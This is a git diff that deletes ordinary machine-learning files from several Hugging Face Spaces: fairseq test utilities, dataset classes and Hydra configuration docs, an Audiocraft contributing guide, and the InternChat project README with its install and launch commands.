"train.in-out.in"), - "tgt": os.path.join(langpair_path, "train.in-out.out"), - } - ) - - config_json["src_vocab"] = src_vocab - config_json["tgt_vocab"] = tgt_vocab - config_json["train"] = config_train_json - - with open(os.path.join(data_dir, "laserconfig.json"), "w") as config_file: - json.dump(config_json, config_file) - - return config_file - - -def train_translation_model( - data_dir, - arch, - extra_flags=None, - task="translation", - run_validation=False, - lang_flags=None, - extra_valid_flags=None, - world_size=1, -): - if lang_flags is None: - lang_flags = [ - "--source-lang", - "in", - "--target-lang", - "out", - ] - train_parser = options.get_training_parser() - train_args = options.parse_args_and_arch( - train_parser, - [ - "--task", - task, - data_dir, - "--save-dir", - data_dir, - "--arch", - arch, - "--optimizer", - "nag", - "--lr", - "0.05", - "--max-tokens", - "500", - "--max-epoch", - "1", - "--no-progress-bar", - "--distributed-world-size", - str(world_size), - "--num-workers", - "0", - ] - + lang_flags - + (extra_flags or []), - ) - - cfg = convert_namespace_to_omegaconf(train_args) - distributed_utils.call_main(cfg, train.main) - - if run_validation: - # test validation - validate_parser = options.get_validation_parser() - validate_args = options.parse_args_and_arch( - validate_parser, - [ - "--task", - task, - data_dir, - "--path", - os.path.join(data_dir, "checkpoint_last.pt"), - "--valid-subset", - "valid", - "--max-tokens", - "500", - "--no-progress-bar", - "--num-workers", - "0", - ] - + lang_flags - + (extra_valid_flags or []), - ) - validate.main(validate_args) - - -def generate_main(data_dir, extra_flags=None, path=None): - if extra_flags is None: - extra_flags = [ - "--print-alignment", - ] - if path is None: - path = os.path.join(data_dir, "checkpoint_last.pt") - generate_parser = options.get_generation_parser() - generate_args = options.parse_args_and_arch( - generate_parser, - [ - data_dir, - "--path", - path, - "--beam", - "3", - "--batch-size", - "64", - "--max-len-b", - "5", - "--gen-subset", - "valid", - "--no-progress-bar", - "--num-workers", - "0", - ] - + (extra_flags or []), - ) - - # evaluate model in batch mode - generate.main(generate_args) - - # evaluate model interactively - generate_args.buffer_size = 0 - generate_args.input = "-" - generate_args.batch_size = None - orig_stdin = sys.stdin - sys.stdin = StringIO("h e l l o\n") - interactive.main(generate_args) - sys.stdin = orig_stdin - - -class TestDataset(torch.utils.data.Dataset): - def __init__(self, data): - super().__init__() - self.data = data - self.sizes = None - - def __getitem__(self, index): - return self.data[index] - - def __len__(self): - return len(self.data) - - -class TestTranslationTask(LegacyFairseqTask): - def __init__(self, args, src_dict, tgt_dict, model): - super().__init__(args) - self.src_dict = src_dict - self.tgt_dict = tgt_dict - self.model = model - - @classmethod - def setup_task(cls, args, src_dict=None, tgt_dict=None, model=None): - return cls(args, src_dict, tgt_dict, model) - - def build_model(self, args): - return TestModel.build_model(args, self) - - @property - def source_dictionary(self): - return self.src_dict - - @property - def target_dictionary(self): - return self.tgt_dict - - -class TestModel(FairseqEncoderDecoderModel): - def __init__(self, encoder, decoder): - super().__init__(encoder, decoder) - - @classmethod - def build_model(cls, args, task): - encoder = TestEncoder(args, task.source_dictionary) - decoder = TestIncrementalDecoder(args, task.target_dictionary) - return cls(encoder, decoder) - - -class TestEncoder(FairseqEncoder): - def __init__(self, args, dictionary): - super().__init__(dictionary) - self.args = args - - def forward(self, src_tokens, src_lengths=None, **kwargs): - return EncoderOut( - encoder_out=src_tokens, - encoder_padding_mask=None, - encoder_embedding=None, - encoder_states=None, - src_tokens=None, - src_lengths=None, - ) - - def reorder_encoder_out(self, encoder_out, new_order): - return EncoderOut( - encoder_out=encoder_out.encoder_out.index_select(0, new_order), - encoder_padding_mask=None, - encoder_embedding=None, - encoder_states=None, - src_tokens=None, - src_lengths=None, - ) - - -class TestIncrementalDecoder(FairseqIncrementalDecoder): - def __init__(self, args, dictionary): - super().__init__(dictionary) - assert hasattr(args, "beam_probs") or hasattr(args, "probs") - args.max_decoder_positions = getattr(args, "max_decoder_positions", 100) - self.args = args - - def forward(self, prev_output_tokens, encoder_out=None, incremental_state=None): - if incremental_state is not None: - prev_output_tokens = prev_output_tokens[:, -1:] - bbsz = prev_output_tokens.size(0) - vocab = len(self.dictionary) - src_len = encoder_out.encoder_out.size(1) - tgt_len = prev_output_tokens.size(1) - - # determine number of steps - if incremental_state is not None: - # cache step number - step = utils.get_incremental_state(self, incremental_state, "step") - if step is None: - step = 0 - utils.set_incremental_state(self, incremental_state, "step", step + 1) - steps = [step] - else: - steps = list(range(tgt_len)) - - # define output in terms of raw probs - if hasattr(self.args, "probs"): - assert ( - self.args.probs.dim() == 3 - ), "expected probs to have size bsz*steps*vocab" - probs = self.args.probs.index_select(1, torch.LongTensor(steps)) - else: - probs = torch.FloatTensor(bbsz, len(steps), vocab).zero_() - for i, step in enumerate(steps): - # args.beam_probs gives the probability for every vocab element, - # starting with eos, then unknown, and then the rest of the vocab - if step < len(self.args.beam_probs): - probs[:, i, self.dictionary.eos() :] = self.args.beam_probs[step] - else: - probs[:, i, self.dictionary.eos()] = 1.0 - - # random attention - attn = torch.rand(bbsz, tgt_len, src_len) - - dev = prev_output_tokens.device - return probs.to(dev), {"attn": [attn.to(dev)]} - - def get_normalized_probs(self, net_output, log_probs, _): - # the decoder returns probabilities directly - probs = net_output[0] - if log_probs: - return probs.log() - else: - return probs - - def max_positions(self): - return self.args.max_decoder_positions - - -class TestReshapingEncoder(FairseqEncoder): - def __init__(self, args, dictionary): - super().__init__(dictionary) - self.args = args - - def forward(self, src_tokens, src_lengths=None, **kwargs): - b_sz, t_sz = src_tokens.shape - padding_needed = t_sz % 2 - x = src_tokens - if padding_needed > 0: - padding_needed = 2 - padding_needed - x = F.pad(x, (0, padding_needed)) - - return EncoderOut( - encoder_out=x.view(b_sz, -1, 2), - encoder_padding_mask=None, - encoder_embedding=None, - encoder_states=None, - src_tokens=None, - src_lengths=None, - ) - - def reorder_encoder_out(self, encoder_out, new_order): - return EncoderOut( - encoder_out=encoder_out.encoder_out.index_select(0, new_order), - encoder_padding_mask=None, - encoder_embedding=None, - encoder_states=None, - src_tokens=None, - src_lengths=None, - ) - - -class TestReshapingModel(FairseqEncoderDecoderModel): - def __init__(self, encoder, decoder): - super().__init__(encoder, decoder) - - @classmethod - def build_model(cls, args, task): - encoder = TestReshapingEncoder(args, task.source_dictionary) - decoder = TestIncrementalDecoder(args, task.target_dictionary) - return cls(encoder, decoder) - - -class TestAdditionalInputEncoder(FairseqEncoder): - def __init__(self, args, dictionary): - super().__init__(dictionary) - self.args = args - - def forward(self, src_tokens, src_lengths=None, **kwargs): - assert "fancy_other_input" in kwargs - assert kwargs["fancy_other_input"] is not None - return EncoderOut( - encoder_out=src_tokens, - encoder_padding_mask=None, - encoder_embedding=None, - encoder_states=None, - src_tokens=None, - src_lengths=None, - ) - - def reorder_encoder_out(self, encoder_out, new_order): - return EncoderOut( - encoder_out=encoder_out.encoder_out.index_select(0, new_order), - encoder_padding_mask=None, - encoder_embedding=None, - encoder_states=None, - src_tokens=None, - src_lengths=None, - ) - - -class TestAdditionalInputModel(FairseqEncoderDecoderModel): - def __init__(self, encoder, decoder): - super().__init__(encoder, decoder) - - @classmethod - def build_model(cls, args, task): - encoder = TestAdditionalInputEncoder(args, task.source_dictionary) - decoder = TestIncrementalDecoder(args, task.target_dictionary) - return cls(encoder, decoder) - - def forward(self, src_tokens, src_lengths, prev_output_tokens, **kwargs): - encoder_out = self.encoder(src_tokens, src_lengths=src_lengths, **kwargs) - decoder_out = self.decoder( - prev_output_tokens, encoder_out=encoder_out, **kwargs - ) - return decoder_out - - -def train_language_model( - data_dir, - arch, - extra_flags=None, - run_validation=False, - extra_valid_flags=None, - task="language_modeling", - world_size=1, -): - train_parser = options.get_training_parser() - train_args = options.parse_args_and_arch( - train_parser, - [ - "--task", - task, - data_dir, - "--arch", - arch, - "--optimizer", - "adam", - "--lr", - "0.0001", - "--max-tokens", - "500", - "--tokens-per-sample", - "500", - "--save-dir", - data_dir, - "--max-epoch", - "1", - "--no-progress-bar", - "--distributed-world-size", - str(world_size), - "--ddp-backend", - "no_c10d", - "--num-workers", - "0", - ] - + (extra_flags or []), - ) - cfg = convert_namespace_to_omegaconf(train_args) - distributed_utils.call_main(cfg, train.main) - - if run_validation: - # test validation - validate_parser = options.get_validation_parser() - validate_args = options.parse_args_and_arch( - validate_parser, - [ - "--task", - task, - data_dir, - "--path", - os.path.join(data_dir, "checkpoint_last.pt"), - "--valid-subset", - "valid", - "--max-tokens", - "500", - "--no-progress-bar", - "--num-workers", - "0", - ] - + (extra_valid_flags or []), - ) - validate.main(validate_args) diff --git a/spaces/OFA-Sys/OFA-vqa/fairseq/docs/hydra_integration.md b/spaces/OFA-Sys/OFA-vqa/fairseq/docs/hydra_integration.md deleted file mode 100644 index 6a15298382a6a16dfc4c5a4a812ea1cd0477ed52..0000000000000000000000000000000000000000 --- a/spaces/OFA-Sys/OFA-vqa/fairseq/docs/hydra_integration.md +++ /dev/null @@ -1,284 +0,0 @@ -## Hydra - -[Hydra](https://github.com/facebookresearch/hydra) is an open-source Python -framework that simplifies the development of research and other complex -applications. The key feature is the ability to dynamically create a -hierarchical configuration by composition and override it through config files -and the command line. The name Hydra comes from its ability to run multiple -similar jobs - much like a Hydra with multiple heads. - -## Motivation - -Until recently, all components in fairseq were configured through a shared -`args` namespace that was created at application startup. Components declared -their own `add_args` method to update the argparse parser, hoping that the names -would not clash with arguments from other components. While this model works for -smaller applications, as fairseq grew and became integrated into other -applications, this became problematic. In order to determine how to configure -each component, one needed to a) examine what args were added by this component, -and b) read the code to figure out what shared arguments it is using that were -added in other places. Reproducing models involved sharing commands that often -contained dozens of command line switches. - -The model described above is still supported by fairseq for backward -compatibility, but will be deprecated some time in the future. - -New components in fairseq should now create a dataclass that encapsulates all -parameters required to configure this component. The dataclass is registered -along with the component, and fairseq takes care of constructing and providing -this configuration object to the component's constructor. Note that sharing -parameters can optionally still work, but one has to explicitly point to the -"source of truth" (see inheritance example below). These changes make components -in fairseq more independent and re-usable by other applications: all that is -needed to create a component is to initialize its dataclass and overwrite some -of the defaults. - -While configuring fairseq through command line (using either the legacy argparse -based or the new Hydra based entry points) is still fully supported, you can now -take advantage of configuring fairseq completely or piece-by-piece through -hierarchical YAML configuration files. These files can also be shipped as -examples that others can use to run an identically configured job. - -Additionally, Hydra has a rich and growing [library of -plugins](https://github.com/facebookresearch/hydra/tree/master/plugins) that -provide functionality such as hyperparameter sweeping (including using bayesian -optimization through the [Ax](https://github.com/facebook/Ax) library), job -launching across various platforms, and more. - -## Creating or migrating components - -In general, each new (or updated) component should provide a companion -[dataclass](https://www.python.org/dev/peps/pep-0557/). These dataclass are -typically located in the same file as the component and are passed as arguments -to the `register_*()` functions. Top-level configs that should be present in -every fairseq application are placed in the -[global](fairseq/dataclass/configs.py) config file and added to the -`FairseqConfig` object. - -Each dataclass is a plain-old-data object, similar to a `NamedTuple`. These -classes are decorated with a `@dataclass` decorator, and typically inherit from -`FairseqDataclass` (which adds some functionality for backward compatibility). -Each field must have a type, and generally has metadata (such as a help string) -and a default value. Only primitive types or other config objects are allowed as -data types for each field. - -#### Example: - -```python -from dataclasses import dataclass, field -from fairseq.dataclass import FairseqDataclass - -@dataclass -class InteractiveConfig(FairseqDataclass): - buffer_size: int = field( - default=0, - metadata={ - "help": "read this many sentences into a buffer before processing them" - }, - ) - input: str = field( - default="-", - metadata={"help": "file to read from; use - for stdin"}, - ) -``` - -### Inherting values - -Some components require sharing a value. For example, a learning rate scheduler -and an optimizer may both need to know the initial learning rate value. One can -declare a field that, by default, will inherit its value from another config -node in the same hierarchy: - -```python -@dataclass -FairseqAdamConfig(FairseqDataclass): - ... - lr: List[float] = II("optimization.lr") - ... -``` - -`II("optimization.lr")` is syntactic sugar for `"${optimization.lr}"`, which is -the value one can use in a YAML config file or through command line to achieve -the same effect. Note that this assumes that there is an "optimization" config -object in the root config and it has a field called "lr". - -### Tasks and Models - -Creating Tasks and Models works same as before, except that legacy -implementations now inherit from `LegacyFairseq*` base classes, while new -components inherit from `FairseqTask` and `FairseqModel` and provide a dataclass -to the `register_*()` functions. - -#### Task example: - -```python -@dataclass -class LanguageModelingConfig(FairseqDataclass): - data: Optional[str] = field( - default=None, metadata={"help": "path to data directory"} - ) - ... - -@register_task("language_modeling", dataclass=LanguageModelingConfig) -class LanguageModelingTask(FairseqTask): - ... - @classmethod - def setup_task(cls, cfg: LanguageModelingConfig): - ... -``` - -#### Model example: - -```python -@dataclass -class TransformerLanguageModelConfig(FairseqDataclass): - activation_fn: ChoiceEnum(utils.get_available_activation_fns()) = field( - default="relu", metadata={"help": "activation function to use"} - ) - dropout: float = field(default=0.1, metadata={"help": "dropout probability"}) - ... - -@register_model("transformer_lm", dataclass=TransformerLanguageModelConfig) -class TransformerLanguageModel(FairseqLanguageModel): - ... - @classmethod - def build_model(cls, cfg: TransformerLanguageModelConfig, task: FairseqTask): - ... -``` - -### Other components - -Other components work as before, but they now take their configuration dataclass -as the only constructor argument: - -```python -@dataclass -class MosesTokenizerConfig(FairseqDataclass): - source_lang: str = field(default="en", metadata={"help": "source language"}) - ... - -@register_tokenizer("moses", dataclass=MosesTokenizerConfig) -class MosesTokenizer(object): - def __init__(self, cfg: MosesTokenizerConfig): - ... -``` - -Note that if you are adding a new registry for a new set of components, you need -to add it to the `FairseqConfig` object in `fairseq/dataclass/configs.py`: - -```python -@dataclass -class FairseqConfig(object): - ... - my_new_registry: Any = None -``` - -## Training with `fairseq-hydra-train` - -To fully take advantage of configuration flexibility offered by Hydra, you may -want to train new models using the `fairseq-hydra-train` entry point. Legacy CLI -tools such as `fairseq-train` will remain supported for the foreseeable future -but will be deprecated eventually. - -On startup, Hydra will create a configuration object that contains a hierarchy -of all the necessary dataclasses populated with their default values in the -code. The default values are overwritten by values found in YAML files in -`fairseq/config` directory (which currently sets minimal defaults) and then -further overwritten by values provided through command line arguments. - -Some of the most common use cases are shown below: - -### 1. Override default values through command line: - -```shell script -$ fairseq-hydra-train \ - distributed_training.distributed_world_size=1 \ - dataset.batch_size=2 \ - task.data=data-bin \ - model=transformer_lm/transformer_lm_gpt \ - task=language_modeling \ - optimization.max_update=5000 -``` - -Note that along with explicitly providing values for parameters such as -`dataset.batch_size`, this also tells Hydra to overlay configuration found in -`fairseq/config/model/transformer_lm/transformer_lm_gpt.yaml` over the default -values in the dataclass. If you want to train a model without specifying a -particular architecture you can simply specify `model=transformer_lm`. This only -works for migrated tasks and models. - -### 2. Replace bundled configs with an external config: - -```shell script -$ fairseq-hydra-train \ - --config-dir /path/to/external/configs \ - --config-name wiki103 -``` - -where `/path/to/external/configs/wiki103.yaml` contains: - -```yaml -# @package _group_ - -model: - _name: transformer_lm -distributed_training: - distributed_world_size: 1 -dataset: - batch_size: 2 -task: - _name: language_modeling - data: /path/to/data - add_bos_token: false - max_target_positions: 1024 -optimization: - max_update: 50000 - lr: [ 0.25 ] -criterion: cross_entropy -optimizer: adam -lr_scheduler: - _name: cosine -``` - -Note that here bundled configs from `fairseq/config` directory are not used, -however the defaults from each dataclass will still be used (unless overwritten -by your external config). - -Additionally you can choose to break up your configs by creating a directory -structure in the same location as your main config file, with the names of the -top-level fields (such as "model", "dataset", etc), and placing config files -with meaningful names that would populate that specific section of your -top-level config file (for example, you might have -`model/small_transformer_lm.yaml`, `model/big_transformer_lm.yaml`, etc). You -can then specify the correct configuration via command line, defaults in the -main config, or even launch all of them as a sweep (see Hydra documentation on -how to do this). - -### 3. Add an external config directory to Hydra search path: - -This allows combining default configuration (including using any bundled config -files), while specifying your own config files for some parts of the -configuration. - -```shell script -$ fairseq-hydra-train \ - distributed_training.distributed_world_size=1 \ - dataset.batch_size=2 \ - task.data=/path/to/data/ \ - model=transformer_lm/2_layers \ - task=language_modeling \ - optimization.max_update=5000 \ - --config-dir /path/to/external/configs -``` - -where `/path/to/external/configs` has the following structure: -``` -. -+-- model -| +-- transformer_lm -| | +-- 2_layers.yaml -``` - -and `2_layers.yaml` contains a copy of `transformer_lm_gpt.yaml` but with -`decoder_layers` set to 2. You can add other configs to configure other -components as well. diff --git a/spaces/OFA-Sys/OFA-vqa/fairseq/fairseq/data/bucket_pad_length_dataset.py b/spaces/OFA-Sys/OFA-vqa/fairseq/fairseq/data/bucket_pad_length_dataset.py deleted file mode 100644 index 0f9410014845873bb0344fca6478c231c88e9dea..0000000000000000000000000000000000000000 --- a/spaces/OFA-Sys/OFA-vqa/fairseq/fairseq/data/bucket_pad_length_dataset.py +++ /dev/null @@ -1,78 +0,0 @@ -# Copyright (c) Facebook, Inc. and its affiliates. -# -# This source code is licensed under the MIT license found in the -# LICENSE file in the root directory of this source tree. - -import numpy as np -import torch.nn.functional as F -from fairseq.data import BaseWrapperDataset -from fairseq.data.data_utils import get_buckets, get_bucketed_sizes - - -class BucketPadLengthDataset(BaseWrapperDataset): - """ - Bucket and pad item lengths to the nearest bucket size. This can be used to - reduce the number of unique batch shapes, which is important on TPUs since - each new batch shape requires a recompilation. - - Args: - dataset (FairseqDatset): dataset to bucket - sizes (List[int]): all item sizes - num_buckets (int): number of buckets to create - pad_idx (int): padding symbol - left_pad (bool): if True, pad on the left; otherwise right pad - """ - - def __init__( - self, - dataset, - sizes, - num_buckets, - pad_idx, - left_pad, - tensor_key=None, - ): - super().__init__(dataset) - self.pad_idx = pad_idx - self.left_pad = left_pad - - assert num_buckets > 0 - self.buckets = get_buckets(sizes, num_buckets) - self._bucketed_sizes = get_bucketed_sizes(sizes, self.buckets) - self._tensor_key = tensor_key - - def _set_tensor(self, item, val): - if self._tensor_key is None: - return val - item[self._tensor_key] = val - return item - - def _get_tensor(self, item): - if self._tensor_key is None: - return item - return item[self._tensor_key] - - def _pad(self, tensor, bucket_size, dim=-1): - num_pad = bucket_size - tensor.size(dim) - return F.pad( - tensor, - (num_pad if self.left_pad else 0, 0 if self.left_pad else num_pad), - value=self.pad_idx, - ) - - def __getitem__(self, index): - item = self.dataset[index] - bucket_size = self._bucketed_sizes[index] - tensor = self._get_tensor(item) - padded = self._pad(tensor, bucket_size) - return self._set_tensor(item, padded) - - @property - def sizes(self): - return self._bucketed_sizes - - def num_tokens(self, index): - return self._bucketed_sizes[index] - - def size(self, index): - return self._bucketed_sizes[index] diff --git a/spaces/OFA-Sys/OFA-vqa/fairseq/fairseq/data/multi_corpus_dataset.py b/spaces/OFA-Sys/OFA-vqa/fairseq/fairseq/data/multi_corpus_dataset.py deleted file mode 100644 index 746155e515897da9fc9c803f9396a45b5cead8d0..0000000000000000000000000000000000000000 --- a/spaces/OFA-Sys/OFA-vqa/fairseq/fairseq/data/multi_corpus_dataset.py +++ /dev/null @@ -1,245 +0,0 @@ -# Copyright (c) Facebook, Inc. and its affiliates. -# -# This source code is licensed under the MIT license found in the -# LICENSE file in the root directory of this source tree. - -import logging -import time -from collections import OrderedDict -from typing import Dict, List - -import numpy as np -from fairseq.data import data_utils - -from . import FairseqDataset - -logger = logging.getLogger(__name__) - - -class MultiCorpusDataset(FairseqDataset): - """ - Stores multiple instances of FairseqDataset together. Requires each instance - to be the same dataset, as the collate method needs to work on batches with - samples from each dataset. - - Allows specifying a distribution over the datasets to use. Note that unlike - MultiCorpusSampledDataset, this distribution allows sampling for each item, - rather than on a batch level. - - Each time ordered_indices() is called, a new sample is generated with - the specified distribution. - - Args: - datasets: a OrderedDict of FairseqDataset instances. - distribution: a List containing the probability of getting an utterance from - corresponding dataset - seed: random seed for sampling the datsets - sort_indices: if true, will sort the ordered indices by size - batch_sample: if true, will ensure each batch is from a single dataset - """ - - def __init__( - self, - datasets: Dict[str, FairseqDataset], - distribution: List[float], - seed: int, - sort_indices: bool = False, - batch_sample: bool = False, - distributed_rank=None, - ): - super().__init__() - assert isinstance(datasets, OrderedDict) - assert len(datasets) == len(distribution) - assert sum(distribution) == 1 - self.datasets = datasets - self.distribution = distribution - self.seed = seed - self.sort_indices = sort_indices - self.batch_sample = batch_sample - self.distributed_rank = distributed_rank - - # Avoid repeated conversions to list later - self.dataset_list = list(datasets.values()) - self.total_num_instances = 0 - - first_dataset = list(self.datasets.values())[0] - - self.dataset_offsets = [] - for dataset in datasets.values(): - assert isinstance(dataset, FairseqDataset) - assert type(dataset) is type(first_dataset) - self.dataset_offsets.append(self.total_num_instances) - self.total_num_instances += len(dataset) - - def ordered_indices(self): - start = time.time() - with data_utils.numpy_seed(self.seed, self.epoch): - logger.info(f"sampling new dataset with seed {self.seed} epoch {self.epoch}") - sampled_indices = [] - num_selected_instances = 0 - - # For each dataset i, sample self.distribution[i] * self.total_num_instances - for i, key in enumerate(self.datasets): - - if i < len(self.datasets) - 1: - num_instances = int(self.distribution[i] * self.total_num_instances) - high = self.dataset_offsets[i + 1] - else: - num_instances = self.total_num_instances - num_selected_instances - high = self.total_num_instances - - logger.info(f"sampling {num_instances} from {key} dataset") - num_selected_instances += num_instances - - # First, add k copies of the dataset where k = num_instances // len(dataset). - # This ensures an equal distribution of the data points as much as possible. - # For the remaining entries randomly sample them - dataset_size = len(self.datasets[key]) - num_copies = num_instances // dataset_size - dataset_indices = ( - np.random.permutation(high - self.dataset_offsets[i]) - + self.dataset_offsets[i] - )[: num_instances - num_copies * dataset_size] - if num_copies > 0: - sampled_indices += list( - np.concatenate( - ( - np.repeat( - np.arange(self.dataset_offsets[i], high), num_copies - ), - dataset_indices, - ) - ) - ) - else: - sampled_indices += list(dataset_indices) - - assert ( - len(sampled_indices) == self.total_num_instances - ), f"{len(sampled_indices)} vs {self.total_num_instances}" - - np.random.shuffle(sampled_indices) - if self.sort_indices: - sampled_indices.sort(key=lambda i: self.num_tokens(i)) - - logger.info( - "multi_corpus_dataset ordered_indices took {}s".format( - time.time() - start - ) - ) - return np.array(sampled_indices, dtype=np.int64) - - def _map_index(self, index: int): - """ - If dataset A has length N and dataset B has length M - then index 1 maps to index 1 of dataset A, and index N + 1 - maps to index 1 of B. - """ - counter = 0 - for key, dataset in self.datasets.items(): - if index < counter + len(dataset): - return index - counter, key - counter += len(dataset) - raise ValueError( - "Invalid index: {}, max: {}".format(index, self.total_num_instances) - ) - - def __len__(self): - """ - Length of this dataset is the sum of individual datasets - """ - return self.total_num_instances - - def __getitem__(self, index): - new_index, key = self._map_index(index) - try: - item = self.datasets[key][new_index] - item["full_id"] = index - return item - except Exception as e: - e.args = (f"Error from {key} dataset", *e.args) - raise - - def collater(self, samples): - """ - If we are doing batch sampling, then pick the right collater to use. - - Otherwise we assume all collaters are the same. - """ - if len(samples) == 0: - return None - if "full_id" in samples[0]: - _, key = self._map_index(samples[0]["full_id"]) - try: - batch = self.datasets[key].collater(samples) - except Exception: - print(f"Collating failed for key {key}", flush=True) - raise - return batch - else: - # Subclasses may override __getitem__ to not specify full_id - return list(self.datasets.values())[0].collater(samples) - - def num_tokens(self, index: int): - index, key = self._map_index(index) - return self.datasets[key].num_tokens(index) - - def size(self, index: int): - index, key = self._map_index(index) - return self.datasets[key].size(index) - - @property - def can_reuse_epoch_itr_across_epochs(self): - return False - - def set_epoch(self, epoch, **unused): - super().set_epoch(epoch) - logger.info(f"setting epoch of multi_corpus_dataset to {epoch}") - self.epoch = epoch - - @property - def supports_prefetch(self): - return False - - @property - def supports_fetch_outside_dataloader(self): - return all( - self.datasets[key].supports_fetch_outside_dataloader - for key in self.datasets - ) - - def batch_by_size( - self, - indices, - max_tokens=None, - max_sentences=None, - required_batch_size_multiple=1, - ): - if not self.batch_sample: - return super().batch_by_size( - indices, max_tokens, max_sentences, required_batch_size_multiple - ) - - dataset_indices = {key: [] for key in self.datasets} - for i in indices: - _, key = self._map_index(i) - dataset_indices[key].append(i) - - batches = [] - for key in dataset_indices: - cur_batches = super().batch_by_size( - np.array(dataset_indices[key], dtype=np.int64), - max_tokens, - max_sentences, - required_batch_size_multiple, - ) - logger.info(f"Created {len(cur_batches)} batches for dataset {key}") - batches += cur_batches - - # If this dataset is used in a distributed training setup, - # then shuffle such that the order is seeded by the distributed rank - # as well - if self.distributed_rank is not None: - with data_utils.numpy_seed(self.seed, self.epoch, self.distributed_rank): - np.random.shuffle(batches) - return batches diff --git a/spaces/Omnibus/MusicGen/CONTRIBUTING.md b/spaces/Omnibus/MusicGen/CONTRIBUTING.md deleted file mode 100644 index 55b99140204d785d572ada9761dd77f302ae31c6..0000000000000000000000000000000000000000 --- a/spaces/Omnibus/MusicGen/CONTRIBUTING.md +++ /dev/null @@ -1,35 +0,0 @@ -# Contributing to Audiocraft - -We want to make contributing to this project as easy and transparent as -possible. - -## Pull Requests - -Audiocraft is the implementation of a research paper. -Therefore, we do not plan on accepting many pull requests for new features. -We certainly welcome them for bug fixes. - -1. Fork the repo and create your branch from `main`. -2. If you've added code that should be tested, add tests. -3. If you've changed APIs, update the documentation. -4. Ensure the test suite passes. -5. Make sure your code lints. -6. If you haven't already, complete the Contributor License Agreement ("CLA"). - -## Contributor License Agreement ("CLA") -In order to accept your pull request, we need you to submit a CLA. You only need -to do this once to work on any of Meta's open source projects. - -Complete your CLA here: - -## Issues -We use GitHub issues to track public bugs. Please ensure your description is -clear and has sufficient instructions to be able to reproduce the issue. - -Meta has a [bounty program](https://www.facebook.com/whitehat/) for the safe -disclosure of security bugs. In those cases, please go through the process -outlined on that page and do not file a public issue. - -## License -By contributing to encodec, you agree that your contributions will be licensed -under the LICENSE file in the root directory of this source tree. diff --git a/spaces/OpenGVLab/InternGPT/README.md b/spaces/OpenGVLab/InternGPT/README.md deleted file mode 100644 index 8ca0803d13414bdfdc6d37d252698739bd7667c5..0000000000000000000000000000000000000000 --- a/spaces/OpenGVLab/InternGPT/README.md +++ /dev/null @@ -1,167 +0,0 @@ ---- -title: InternGPT -emoji: 🤖💬 -colorFrom: indigo -colorTo: pink -sdk: gradio -sdk_version: 3.28.1 -app_file: notice.py -pinned: false -license: apache-2.0 ---- - -[[中文文档]](README_CN.md) - -**The project is still under construction, we will continue to update it and welcome contributions/pull requests from the community.** - - - -

      - - - | - | - - - - -# InternChat [[paper](https://pjlab-gvm-data.oss-cn-shanghai.aliyuncs.com/papers/ichat.pdf)] - - - -**InternChat**(short for **iChat**) is pointing-language-driven visual interactive system, allowing you to interact with ChatGPT by clicking, dragging and drawing using a pointing device. The name InternChat stands for **inter**action, **n**onverbal, and **chat**bots. Different from existing interactive systems that rely on pure language, by incorporating pointing instructions, iChat significantly improves the efficiency of communication between users and chatbots, as well as the accuracy of chatbots in vision-centric tasks, especially in complicated visual scenarios. Additionally, in iChat, an auxiliary control mechanism is used to improve the control capability of LLM, and a large vision-language model termed **Husky** is fine-tuned for high-quality multi-modal dialogue (impressing ChatGPT-3.5-turbo with **93.89% GPT-4 Quality**). - -## Online Demo -[**InternChat**](https://ichat.opengvlab.com/) is online. Let's try it! - -[**NOTE**] It is possible that you are waiting in a lengthy queue. You can clone our repo and run it with your private GPU. - -https://github.com/OpenGVLab/InternChat/assets/13723743/3270b05f-0823-4f13-9966-4010fd855643 - - - -## Schedule -- [ ] Support Chinese -- [ ] Support MOSS -- [ ] More powerful foundation models based on [InternImage](https://github.com/OpenGVLab/InternImage) and [InternVideo](https://github.com/OpenGVLab/InternVideo) -- [ ] More accurate interactive experience -- [ ] Web Page & Code Generation -- [x] Support voice assistant -- [x] Support click interaction -- [x] Interactive image editing -- [x] Interactive image generation -- [x] Interactive visual question answering -- [x] Segment Anything -- [x] Image inpainting -- [x] Image caption -- [x] image matting -- [x] Optical character recognition -- [x] Action recognition -- [x] Video caption -- [x] Video dense caption -- [x] video highlight interpretation - - - -## System Overview -

      Logo

      - -## 🎁 Major Features - -

      (a) Remove the masked object

      -

      - -

      (b) Interactive image editing -

      - -

      (c) Image generation

      -

      - -

      (d) Interactive visual question answer

      -

      - - -

      (e) Interactive image generation

      -

      image

      - - -

      (f) Video highlight interpretation

      -

      - - - - -## 🛠️ Installation - -### Basic requirements - -- Linux -- Python 3.8+ -- PyTorch 1.12+ -- CUDA 11.6+ -- GCC & G++ 5.4+ -- GPU Memory >= 17G for loading basic tools (HuskyVQA, SegmentAnything, ImageOCRRecognition) - -### Install Python dependencies -```shell -pip install -r requirements.txt -``` - -### Model zoo -Coming soon... - -## 👨‍🏫 Get Started -Running the following shell can start a gradio service: -```shell -python -u iChatApp.py --load "HuskyVQA_cuda:0,SegmentAnything_cuda:0,ImageOCRRecognition_cuda:0" --port 3456 -``` - -if you want to enable the voice assistant, please use `openssl` to generate the certificate: -```shell -openssl req -x509 -newkey rsa:4096 -keyout ./key.pem -out ./cert.pem -sha256 -days 365 -nodes -``` - -and then run: -```shell -python -u iChatApp.py --load "HuskyVQA_cuda:0,SegmentAnything_cuda:0,ImageOCRRecognition_cuda:0" --port 3456 --https -``` - - - - -## 🎫 License - -This project is released under the [Apache 2.0 license](LICENSE). - -## 🖊️ Citation - -If you find this project useful in your research, please consider cite: -```BibTeX -@misc{2023internchat, - title={InternChat: Solving Vision-Centric Tasks by Interacting with Chatbots Beyond Language}, - author={Zhaoyang Liu and Yinan He and Wenhai Wang and Weiyun Wang and Yi Wang and Shoufa Chen and Qinglong Zhang and Yang Yang and Qingyun Li and Jiashuo Yu and Kunchang Li and Zhe Chen and Xue Yang and Xizhou Zhu and Yali Wang and Limin Wang and Ping Luo and Jifeng Dai and Yu Qiao}, - howpublished = {\url{https://arxiv.org/abs/2305.05662}}, - year={2023} -} -``` - -## 🤝 Acknowledgement -Thanks to the open source of the following projects: - -[Hugging Face](https://github.com/huggingface)   -[LangChain](https://github.com/hwchase17/langchain)   -[TaskMatrix](https://github.com/microsoft/TaskMatrix)   -[SAM](https://github.com/facebookresearch/segment-anything)   -[Stable Diffusion](https://github.com/CompVis/stable-diffusion)   -[ControlNet](https://github.com/lllyasviel/ControlNet)   -[InstructPix2Pix](https://github.com/timothybrooks/instruct-pix2pix)   -[BLIP](https://github.com/salesforce/BLIP)   -[Latent Diffusion Models](https://github.com/CompVis/latent-diffusion)   